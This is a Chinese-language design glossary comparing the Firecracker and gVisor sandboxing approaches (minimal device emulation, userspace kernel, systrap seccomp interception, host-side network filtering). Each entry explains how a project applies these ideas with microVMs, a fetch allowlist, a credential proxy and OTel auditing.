### Firecracker 与 gVisor 哲学对照 (Firecracker vs gVisor Philosophy)

是什么:两种砍暴露面路径的对照。Firecracker 砍设备模拟,gVisor 砍 syscall(系统调用,即程序请求内核服务的标准接口)直达路径。

解决什么问题:两家都在解决同一件事——宿主内核是个大攻击面。Firecracker 用真内核 + 极薄设备模拟,gVisor 用自写用户态内核 + 文件代理。gVisor 兼容性较低,Firecracker 性能接近原生但设备种类被锁死。

我们怎么用:本项目用与 Firecracker 同档的 microVM(microsandbox + libkrnl),保留极简设备表与独立内核,确保不可信代码看到的不是宿主内核。

## 用户态内核 (Userspace Kernel)[自造,概念对照 gVisor]

是什么:用户态内核[自造]指把内核职责搬到用户态进程实现的隔离形态。Sentry(应用内核)从零重写 Linux syscall 接口,Gofer(独立文件代理)负责所有文件系统操作。

解决什么问题:容器内应用的所有 syscall 直达宿主内核,宿主内核是千行 CVE 级别的攻击面。这种形态把直达路径掐断,改走 Sentry 重写的 syscall 接口。宿主面只剩受控的小 API:FD(文件描述符)复制、定时器、信号管理。

我们的办法:本项目不直接用 gVisor,但原理已落地——把不可信执行面整体挪进 microVM,宿主内核只在 VM 拉起与销毁时被碰一下。

## **systrap (seccomp 拦截的 syscall 拦截机制)**

是什么:gVisor 在 2023 年中替换 ptrace(一种调试接口,让父进程拦截子进程 syscall)成为默认的拦截机制。它用 seccomp 的 SECCOMP\_RET\_TRAP 让宿主内核把 syscall 拦截为 SIGSYS 信号,gVisor 在用户态捕获并交给 Sentry 处理。

解决什么问题:旧版 ptrace PT\_TRACE\_SYSEMU 模式让用户代码跑却发不出宿主 syscall,代价是上下文切换开销大。systrap 用 seccomp 直接在内核侧拦截,切换成本大幅下降。两条路径共一条底线:guest 的 syscall 永不直达宿主内核。

我们怎么用:本项目不直接用 gVisor 或 systrap,但这条机制印证了"砍暴露面"——把 syscall 这条大路掐死,改走窄门。

## **宿主层负责网络过滤 (Host Owns Network Filtering)**

是什么:Firecracker 设计文档明示的一条分工。VMM(虚拟机监控器,即管理虚拟机的软件层)不做任何出网流量过滤,guest 全部出站流量视为不可信。

解决什么问题:VMM 兼职做策略,等于把策略保护对象与策略执行者放一处。VM 内进程随时可能被攻陷,VM 内的过滤逻辑随时可能被绕过。Firecracker 的解法是分开:VMM 只管隔离,策略交给宿主层。

我们的办法:本项目 fetch 工具的白名单阉与 microVM 的 PUBLIC 出网档,正是宿主层过滤这一分工的落地。

## **极简设备模拟器 (Minimal Device Emulation)**

是什么:Firecracker 只给 guest 暴露极小一撮虚拟设备的设计。它只模拟 virtio Net/Block/Vsock、半虚拟化串口与一个被锁死为重启信号的 i8042(键盘控制器)。

解决什么问题:设备模拟器是历史重灾区,qemu 设备层出过多次高危 CVE。砍掉绝大多数设备等于把虚拟设备的攻击面从 qemu 量级压到 Firecracker 量级。它把"假设恶意"做成架构:guest 一启动即视为恶意,任何多余暴露面都是负担。

我们的办法:本项目用与 Firecracker 同档的 microVM 拉起不可信执行面,执行面只装少量运行时,正是同一思路的轻量版。

## **沙盒不是安全架构的替代品 (Sandbox Is Not a Substitute for Secure Architecture)**

是什么:gVisor 安全模型页的一条总原则。沙箱只负责圈住不可信执行面,不替代出网策略、凭证隔离、审计这三件外层事。

为什么重要:把所有安全责任压到沙箱里是常见误区。沙箱圈住进程边界,但拿不到出网决策权,也看不到密钥调用链(凭证从注入到落盘的完整传递轨迹)。

我们怎么用:本项目执行面进 microVM 是沙箱层。fetch 白名单与 PUBLIC 档是出网策略。凭证代理是密钥隔离。OTel 是审计。四条线各管一段,不互相替代。